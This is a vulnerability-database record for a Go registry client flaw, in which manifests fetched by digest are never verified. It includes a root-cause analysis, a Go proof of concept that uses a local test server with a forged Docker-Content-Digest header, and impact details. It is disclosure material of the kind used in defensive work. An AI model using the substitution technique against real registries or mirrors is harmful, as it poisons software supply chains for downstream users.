{"id":"CVE-2026-85747","kind":"vulnerability","aliases":["CVE-2026-85747","GHSA-685w-q87j-wqw3","GO-2026-6778"],"related":[],"title":"Distribution: Client `manifests.Get()` does not verify returned content against requested digest","description":"### Summary\n\n`registry/client.(*manifests).Get(ctx, dgst, …)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (`registry/proxy/proxymanifeststore.go`) is itself an unguarded consumer and is directly exploitable.\n\n### Details\n\n**Root cause:** `registry/client/repository.go:488-505` reads the response body and passes it directly to `distribution.UnmarshalManifest` without ever computing `digest.FromBytes(body)` and comparing against the caller-supplied `dgst`. The `Docker-Content-Digest` response header is parsed (lines 251-292 in `descriptorFromResponse`) only to populate an out-parameter (`ReturnContentDigest`) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.\n\n**Attack path:** An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to `GET /v2/{name}/manifests/{digest}` with:\n1. `Docker-Content-Digest: <requested-digest>` (forged header)\n2. A body containing a different, attacker-chosen manifest\n\nThe client calls `distribution.UnmarshalManifest` on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.\n\n**Why it matters:** The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The `registry/proxy/proxymanifeststore.go:42-87` pull-through cache calls `remoteManifests.Get(ctx, dgst)` and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.\n\nRelevant code path (`repository.go`, simplified):\n```go\n// line ~496\nfunc (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {\n    ...\n    resp, err := ms.client.Get(u)\n    ...\n    body, err := ioutil.ReadAll(resp.Body)  // no size limit, no digest check\n    ...\n    m, _, err := distribution.UnmarshalManifest(ct, body)  // returns attacker bytes\n    return m, err\n}\n```\n\n### PoC\n\n**go.mod:**\n```\nmodule poc\n\ngo 1.24.10\n\nrequire (\n        github.com/distribution/reference v0.6.0\n        github.com/docker/distribution v2.8.3+incompatible\n        github.com/opencontainers/go-digest v1.0.0\n)\n\nrequire (\n        github.com/beorn7/perks v1.0.1 // indirect\n        github.com/docker/go-metrics v0.0.1 // indirect\n        github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect\n        github.com/golang/protobuf v1.3.2 // indirect\n        github.com/gorilla/mux v1.8.1 // indirect\n        github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect\n        github.com/opencontainers/image-spec v1.1.1 // indirect\n        github.com/prometheus/client_golang v1.1.0 // indirect\n        github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect\n        github.com/prometheus/common v0.6.0 // indirect\n        github.com/prometheus/procfs v0.0.3 // indirect\n        github.com/sirupsen/logrus v1.9.4 // indirect\n        golang.org/x/sys v0.13.0 // indirect\n)\n```\n\n**main.go:**\n```go\n// PoC: registry/client manifests.Get() does not verify the requested digest\n// against the returned body. A malicious registry (or MITM) can serve\n// arbitrary content for a digest-pinned manifest reference and the client\n// will accept it.\npackage main\n\nimport (\n        \"context\"\n        \"fmt\"\n        \"net/http\"\n        \"net/http/httptest\"\n\n        \"github.com/distribution/reference\"\n        \"github.com/docker/distribution/manifest/schema2\"\n        \"github.com/docker/distribution/registry/client\"\n        \"github.com/opencontainers/go-digest\"\n)\n\n// A real, \"trusted\" manifest the user pinned by digest.\nvar trustedManifest = []byte(`{\n   \"schemaVersion\": 2,\n   \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n   \"config\": {\"mediaType\": \"application/vnd.docker.container.image.v1+json\",\"size\": 1,\"digest\": \"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"},\n   \"layers\": []\n}`)\n\n// A different, attacker-controlled manifest the malicious server returns instead.\nvar evilManifest = []byte(`{\n   \"schemaVersion\": 2,\n   \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n   \"config\": {\"mediaType\": \"application/vnd.docker.container.image.v1+json\",\"size\": 1,\"digest\": \"sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\"},\n   \"layers\": []\n}`)\n\nfunc main() {\n        pinnedDigest := digest.FromBytes(trustedManifest)\n        evilDigest := digest.FromBytes(evilManifest)\n        fmt.Println(\"client requests manifest pinned at:\", pinnedDigest)\n        fmt.Println(\"server will instead return content :\", evilDigest)\n\n        srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n                // Lie: claim the digest matches what was asked, but serve evil bytes.\n                w.Header().Set(\"Content-Type\", schema2.MediaTypeManifest)\n                w.Header().Set(\"Docker-Content-Digest\", pinnedDigest.String())\n                w.WriteHeader(200)\n                w.Write(evilManifest)\n        }))\n        defer srv.Close()\n\n        name, _ := reference.WithName(\"library/alpine\")\n        repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)\n        if err != nil {\n                panic(err)\n        }\n        ms, _ := repo.Manifests(context.Background())\n\n        // Fetch by *digest* — caller expects content-addressed integrity.\n        m, err := ms.Get(context.Background(), pinnedDigest)\n        if err != nil {\n                fmt.Println(\"Get error:\", err)\n                return\n        }\n        _, payload, _ := m.Payload()\n        got := digest.FromBytes(payload)\n\n        if got != pinnedDigest {\n                fmt.Println()\n                fmt.Println(\">>> BYPASS: client accepted manifest that does NOT match requested digest\")\n                fmt.Println(\"    requested:\", pinnedDigest)\n                fmt.Println(\"    received :\", got)\n        } else {\n                fmt.Println(\"OK: digest verified\")\n        }\n}\n```\n\n**Output (v2.8.3+incompatible):**\n```\nclient requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de\nserver will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e\n\n>>> BYPASS: client accepted manifest that does NOT match requested digest\n    requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de\n    received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e\n```\n\n### Impact\n\nAny application that calls `registry/client.(*manifests).Get()` with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled `registry/proxy`), and any CI/CD tooling that pins images by digest for reproducibility or security.\n\nAn attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.\n\nExploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.","summary":"The Go client in the distribution library does not verify that content it receives matches the digest it asked for. An attacker who controls or can alter the registry response may be able to supply content that the client accepts as the requested artifact.","severity":"medium","cvss":6.8,"epss":0.00218,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/distribution/distribution","fixed":[],"affected":"all versions","ecosystem":"go"},{"name":"github.com/distribution/distribution/v3","fixed":["3.1.2"],"affected":"< 3.1.2","ecosystem":"go"},{"name":"github.com/docker/distribution","fixed":[],"affected":"all versions","ecosystem":"go"},{"name":"github.com/docker/distribution","fixed":[],"affected":"<= 2.8.3","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-354","distribution","docker-registry","go","package"],"not_affected_if":["no-go-dependency","registry-server-only"],"how_to_check":"- Check the version of `github.com/distribution/distribution/v3` in `go.mod` or with `go list -m github.com/distribution/distribution/v3`\n- Check whether `github.com/distribution/distribution` or `github.com/docker/distribution` appears in `go.mod` or `go.sum`\n- Versions earlier than `3.1.2` of the v3 module are listed as affected","fix":null,"status":"open","published_at":"2026-10-13T19:21:02+00:00","first_seen_at":"2026-11-06T00:09:06+00:00","triaged_at":"2026-11-06T00:10:34+00:00","updated_at":"2026-11-06T00:19:08+00:00","category":"package","confidence":0.5,"triage":{"at":"2026-11-06T00:10:34Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/distribution/distribution/v3` `3.1.2`\n- Fixed version for the non-v3 and docker modules: unknown","reach":"network","title":"Distribution Go client skips digest check on returned content","impact":"medium","summary":"The Go client in the distribution library does not verify that content it receives matches the digest it asked for. An attacker who controls or can alter the registry response may be able to supply content that the client accepts as the requested artifact.","audience":"developers","category":"package","nicknames":[],"who_cares":["go","docker-registry","distribution"],"confidence":0.5,"fix_status":"available","needs_auth":"unknown","worst_case":"unknown, content from a registry may be accepted without digest check","analyst_note":"Confirm the fixed version for github.com/distribution/distribution and github.com/docker/distribution at https://pkg.go.dev/vuln/GO-2026-6778 and the GHSA-685w-q87j-wqw3 advisory.","how_to_check":"- Check the version of `github.com/distribution/distribution/v3` in `go.mod` or with `go list -m github.com/distribution/distribution/v3`\n- Check whether `github.com/distribution/distribution` or `github.com/docker/distribution` appears in `go.mod` or `go.sum`\n- Versions earlier than `3.1.2` of the v3 module are listed as affected","plain_action":"","needs_analyst":true,"not_affected_if":["no-go-dependency","registry-server-only"],"who_is_affected":"Projects that import the Go distribution client library to pull images or blobs from a registry are exposed. Programs that only run a registry server or use other clients are not covered by this entry. The sources do not say which exact client calls are affected.","user_interaction":"unknown","needs_special_setup":"unknown","severity_if_unknown":"unknown"},"cost_usd":0.000743,"input_tokens":4245,"output_tokens":637,"severity_before":"unknown"},"analyst_status":null,"analyst_note":null,"search":"'-2026':13A,21A,24A '-292':228C '-354':39B '-505':193C '-6778':22A '-85747':14A,25A '-87':370C '/beorn7/perks':478C '/distribution/distribution':28A '/distribution/distribution/v3':31A '/distribution/reference':464C '/docker/distribution':34A,37A,468C '/docker/go-metrics':483C '/docker/libtrust':488C '/golang/protobuf':493C '/gorilla/mux':498C '/manifests':292C '/matttproud/golang_protobuf_extensions':503C '/opencontainers/go-digest':473C '/opencontainers/image-spec':508C '/prometheus/client_golang':513C '/prometheus/client_model':518C '/prometheus/common':523C '/prometheus/procfs':528C '/sirupsen/logrus':533C '/v2':290C '/x/sys':538C '1':295C '1.24.10':460C '2':302C '251':227C '42':369C '488':192C '496':417C '685w':17A 'abl':78B 'accept':85B,576C 'address':356C 'affect':406C 'alter':72B 'applic':151C 'arbitrari':128C,563C 'artifact':89B 'ask':64B 'attack':67B,269C,272C,309C,322C,450C 'attacker-chosen':308C 'bad':400C 'bodi':106C,197C,208C,251C,304C,319C,434C,448C,555C 'bundl':173C 'byte':130C,268C,451C 'cach':168C,374C,405C 'call':314C,375C 'caller':149C,214C,263C,334C 'caller-suppli':213C 'caus':190C 'chain':159C 'check':443C 'chosen':310C 'client':2A,48B,84B,141C,313C,574C 'code':411C 'compar':108C,210C 'compromis':117C,280C 'comput':206C 'connect':125C 'consum':183C,409C 'contain':305C 'content':8A,57B,81B,145C,220C,298C,331C,355C,564C 'content-address':354C 'context.context':423C 'control':69B,163C,274C 'ct':447C 'ctx':94C,377C,422C 'cve':12A,23A 'cwe':38B 'deliv':266C 'descriptorfromrespons':230C 'detail':188C 'detect':339C 'dgst':95C,216C,378C,424C 'differ':267C,307C 'digest':11A,62B,100C,113C,136C,154C,221C,293C,299C,349C,442C,551C,568C 'digest-pin':135C,567C 'digest.digest':425C 'digest.frombytes':207C 'direct':186C,201C 'distribut':1A,40B,51B 'distribution.manifest':428C 'distribution.manifestserviceoption':427C 'distribution.unmarshalmanifest':203C,315C,446C 'dns':282C 'docker':42B,219C,297C 'docker-content-digest':218C,296C 'docker-registri':41B 'endpoint':277C 'entir':346C 'err':431C,435C,445C,454C 'error':429C 'ever':205C 'exact':359C 'exploit':187C 'fetch':96C 'forg':300C 'func':418C 'get':93C,289C,421C 'ghsa':16A 'ghsa-685w-q87j-wqw3':15A 'github.com':27A,30A,33A,36A,463C,467C,472C,477C,482C,487C,492C,497C,502C,507C,512C,517C,522C,527C,532C 'github.com/beorn7/perks':476C 'github.com/distribution/distribution':26A 'github.com/distribution/distribution/v3':29A 'github.com/distribution/reference':462C 'github.com/docker/distribution':32A,35A,466C 'github.com/docker/go-metrics':481C 'github.com/docker/libtrust':486C 'github.com/golang/protobuf':491C 'github.com/gorilla/mux':496C 'github.com/matttproud/golang_protobuf_extensions':501C 'github.com/opencontainers/go-digest':471C 'github.com/opencontainers/image-spec':506C 'github.com/prometheus/client_golang':511C 'github.com/prometheus/client_model':516C 'github.com/prometheus/common':521C 'github.com/prometheus/procfs':526C 'github.com/sirupsen/logrus':531C 'go':20A,44B,47B,415C,459C,542C 'go.mod':456C 'golang.org':537C 'golang.org/x/sys':536C 'guarante':353C 'hash':103C 'header':223C,301C 'hijack':283C 'hostil':363C 'imag':161C 'immedi':380C 'incompat':470C 'indirect':480C,485C,490C,495C,500C,505C,510C,515C,520C,525C,530C,535C,540C 'inject':398C 'integr':160C,357C 'ioutil.readall':436C 'librari':52B 'lie':254C 'limit':440C 'line':226C,416C 'local':385C 'm':444C,453C 'ma':579C 'main.go':541C 'malici':115C,278C,557C 'manifest':92C,98C,129C,311C,324C,401C,420C,570C 'manifests.get':3A,545C 'match':60B 'matter':344C 'may':76B 'mirror':164C,404C 'mitm':121C,286C,365C,560C 'model':362C 'modul':457C 'ms':419C 'ms.client.get':432C 'name':291C 'never':102C,247C 'option':426C 'out-paramet':235C 'packag':45B,578C 'paramet':237C 'pars':225C 'pass':199C 'path':270C,412C 'perman':397C 'pin':137C,155C,330C,350C,569C 'poc':455C,458C,543C 'poison':394C 'polici':162C 'popul':233C 'proxi':177C 'pull':166C,175C,372C 'pull-through':165C,174C,371C 'q87j':18A 're':390C 're-verif':389C 'read':194C 'receiv':59B 'recomput':248C 'refer':571C 'registri':43B,74B,118C,124C,276C,279C,558C 'registry/client':91C,544C 'registry/client/repository.go':191C 'registry/proxy/proxymanifeststore.go':178C,368C 'relev':410C 'reli':152C 'remot':395C 'remotemanifests.get':376C 'repository.go':413C 'request':10A,88B,112C,138C,264C,550C 'requir':461C,475C 'resp':430C 'resp.body':437C 'respond':287C 'respons':75B,132C,196C,222C 'result':383C 'return':7A,105C,142C,320C,449C,452C,554C 'returncontentdigest':238C 'root':189C 'serv':127C,562C 'server':243C,255C,366C 'server-suppli':242C 'set':257C 'silent':170C 'simplifi':414C 'size':439C 'storag':386C 'subsequ':408C 'substitut':144C,318C,341C 'summari':90C 'suppli':80B,158C,215C,244C 'supply-chain':157C 'threat':361C 'tls':285C 'transpar':146C 'u':433C 'undermin':171C 'unguard':182C 'upstream':281C 'v0.0.0-20160708172513-aabc10ec26b7':489C 'v0.0.0-20190129233127-fd36f4220a90':519C 'v0.0.1':484C 'v0.0.3':529C 'v0.13.0':539C 'v0.6.0':465C,524C 'v1.0.0':474C 'v1.0.1':479C,504C 'v1.1.0':514C 'v1.1.1':509C 'v1.3.2':494C 'v1.8.1':499C 'v1.9.4':534C 'v2.8.3':469C 'valu':261C,347C 'verif':391C 'verifi':6A,55B,548C 'way':337C 'whatev':260C 'without':204C 'wqw3':19A 'write':381C","nicknames":[],"mitigations":[],"who_affected":"Projects that import the Go distribution client library to pull images or blobs from a registry are exposed. Programs that only run a registry server or use other clients are not covered by this entry. The sources do not say which exact client calls are affected.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["githubcomdistributiondistribution","githubcomdistributiondistributionv3","githubcomdockerdistribution"],"ptokens":["com","distribution","docker","github","v3"],"labels":["cwe354","distribution","dockerregistry","go","medium","package"],"campaign_type":null,"first_public_at":"2026-09-23T14:32:01+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"govuln","external_id":"GO-2026-6778","url":"https://pkg.go.dev/vuln/GO-2026-6778","severity":null,"published_at":"2026-11-05T22:54:00+00:00","modified_at":"2026-11-05T22:54:00+00:00","first_seen_at":"2026-11-06T00:09:06+00:00","fetched_at":"2026-11-06T00:09:06+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-85747","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85747","severity":null,"published_at":"2026-10-13T19:21:02+00:00","modified_at":"2026-10-18T14:16:56+00:00","first_seen_at":"2026-11-06T00:19:01+00:00","fetched_at":"2026-11-06T00:19:01+00:00","note":null},{"source":"ghsa","external_id":"GHSA-685w-q87j-wqw3","url":"https://github.com/advisories/GHSA-685w-q87j-wqw3","severity":"medium","published_at":"2026-10-15T20:22:02+00:00","modified_at":"2026-10-15T20:22:03+00:00","first_seen_at":"2026-11-06T00:19:08+00:00","fetched_at":"2026-11-06T00:19:08+00:00","note":null}],"documents":[{"id":81781,"url":"https://github.com/distribution/distribution/commit/960439b09f342cdeb8f1c0e18e8c7349bdcfbf80","title":"Patch: github.com","kind":"other","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":81782,"url":"https://github.com/distribution/distribution/releases/tag/v3.1.2","title":"Release notes: github.com","kind":"release","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release notes: github.com"},{"id":81783,"url":"https://github.com/distribution/distribution/security/advisories/GHSA-685w-q87j-wqw3","title":"Vendor advisory: github.com","kind":"vendor","source":"nvd","publisher":"vendor","text":null,"published_at":"2026-09-23T14:32:01+00:00","relation":"advisory","confidence":null,"note":"Vendor advisory: github.com"},{"id":81976,"url":"https://api.github.com/repos/distribution/distribution/security-advisories/GHSA-685w-q87j-wqw3","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":81978,"url":"https://github.com/distribution/distribution/commit/8f91c26c8888a95a36c2357a6e30bc15d4dd76d3","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[{"type":"epss","score":0.00218,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85747"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}